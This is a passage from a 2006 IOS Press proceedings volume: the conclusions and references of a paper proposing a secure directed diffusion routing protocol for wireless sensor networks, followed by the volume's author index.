7. Conclusions In this paper, we have proposed a secure routing mechanism for sensor networks based on directed diffusion. Our simulation results show that the storage space required increases with the increase in the number of nodes in the network. When compared to the LEAP algorithm, our algorithm requires less memory space since our algorithm uses only three types of keys. In the case of negative reinforcement, our proposed algorithm differs little from directed diffusion. The density of the network determines the storage space required for each node; if there are more neighbors for a node then the node has to store more keys, thus increasing the memory requirement. Each packet contains the information about remaining battery power information and the RSSI value of a node. Therefore although there are overheads associated with our approach, including larger packet size, they are minimal while providing security. Our proposed algorithm can be used for applications which require message authentication and message confidentiality. We have assumed that the network is static; the proposed approach needs to be improved to handle mobile nodes. In directed diffusion a node transmits the interest information even to the node which originally sent it. This work can be extended by analyzing the duplicate interest problem and providing a solution. The packet size is also an important factor in determining the efficiency of our algorithm. Further work can be done to reduce the size of the packets.
References [1]
Karlof, C. and D. Wagner (2003). "Secure Routing in Wireless Sensor Networks: Attacks and Countermeasures." AdHoc Networks Journal, Special Issue on Sensor Network Applications and Protocols Volume: 1, Issue 1, Page: 293--315. [2] Asada, G., T. Dong, et al. (1998). "Wireless integrated network sensors: Low power systems on a chip." Proc. 24th IEEE European Solid-State Circuits Conference Page: 9-18. [3] Hill, J., R. Szewczyk, et al. (2000). "System Architecture Directions for Networked Sensors." Proceedings of the ninth international conference on Architectural support for programming languages and operating systems Page: 93-104. [4] D. Braginsky and D. Estrin, "Rumor Routing Algorithm for Sensor Networks," in the Proceedings of the First Workshop on Sensor Networks and Applications (WSNA), Atlanta, GA, October 2002. [5] Intanagonwiwat, C., R. Govindan, et al. (2003). "Directed Diffusion for Wireless Sensor Networking." Proceedings of the 1st ACM international workshop on wireless sensor networks and applications, Page: 216. [6] Y. Xu, J. Heidemann, and D. Estrin, "Geography-informed energy conservation for ad hoc routing," in the Proceedings of the 7th Annual ACM/IEEE International Conference on Mobile Computing and Networking (MobiCom’01), Rome, Italy, July 2001. [7] B. Karp and H. T. Kung, “GPSR: Greedy perimeter stateless routing for wireless sensor networks,” in the Proceedings of the 6th Annual ACM/IEEE International Conference on Mobile Computing and Networking (MobiCom '00), Boston, MA, August 2000. [8] TinyOS, http://sourceforge.net/projects/tinyos/ (last accessed March 31, 2006) [9] Karlof, C., N. Sastry, et al. (2004). "TinySec: A Link Layer Security Architecture for Wireless Sensor Networks." Proceedings of the 2nd ACM International workshop on wireless sensor networks and applications, Page: 22-29. [10] Perrig, A., R. Szewczyk, et al. (2001). "SPINS: Security Protocols for Sensor Networks." Proceedings of Seventh Annual International Conference on Mobile Computing and Networks MOBICOM 2001, Page: 189-199.
V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks
203
[11] Zhu, S., S. Setia, et al. (2003). "LEAP: efficient security mechanisms for large-scale distributed sensor networks." Proceedings of the 2nd ACM International workshop on wireless sensor networks and applications, Page: 62-72. [12] Zhang, T., S. Pande, et al. (2002). "Tamper Resistance a Cautionary Note." Proceedings of the 2003 ACM SIGPLAN conference on Language, compiler, and tool for embedded systems Volume 6, Issue 3, Page: 209219. [13] Hightower, J., R. Want, et al. (2000). "SpotON: An Indoor 3D Location Sensing Technology Based on RF Signal Strength." Proceedings of Sixth Annual International Conference on Mobile Computing and Network, Page: 1-13. [14] Pethe, A. G., G. Krishnakumar, et al. (2004). "Rank Based Localization Protocol for Sensor Networks." Proceedings of 8th Annual International Conference on Mobile Computing and Network, Page: 1-18. [15] Crossbow Technology www.xbow.com [16] Welsh, V.S. (2004), “Simulating the power consumption of large-scale sensor network applications”. Proceedings of the 2nd international conference on Embedded networked sensor systems, Page: 188-200. [17] TinyOS Documentation http://tinyos.net/tinyos-1.x/doc/ (last accessed March 31, 2006)
This page intentionally left blank
205
Information Assurance and Computer Security J.P. Thomas and M. Essaaidi (Eds.) IOS Press, 2006 © 2006 IOS Press. All rights reserved.
Author Index Abraham, A. Alaoui, S. Baiardi, F. Bella, G. Bennouna, M. Bertino, E. Bistarelli, S. Carminati, B. Cherrat, L. Chung, J.-Y. Essaaidi, M. Ezziyyani, M. Ferrari, E. Gritzalis, D. Hlimi, M. Kumar, V. Lan, B.C.W.
183 168 33 3 127 48 3 84 127 69 v, 127 127 48, 84 15 127 183 69
Lyhyaoui, A. Lyhyaoui, Y. Martinelli, F. Massacci, F. Natkin, S. Nitschke, Ł. Paprzycki, M. Ren, M. Ricci, L. Rosso, P. Shakeri, S. Squicciarini, A.C. Telmon, C. Thomas, J.P. Tsoumas, B. Yang, S.J.H.
168 168 33 3 168 102 102 102 33 155 155 48 33 v, 183 15 69
This page intentionally left blank
This page intentionally left blank
This page intentionally left blank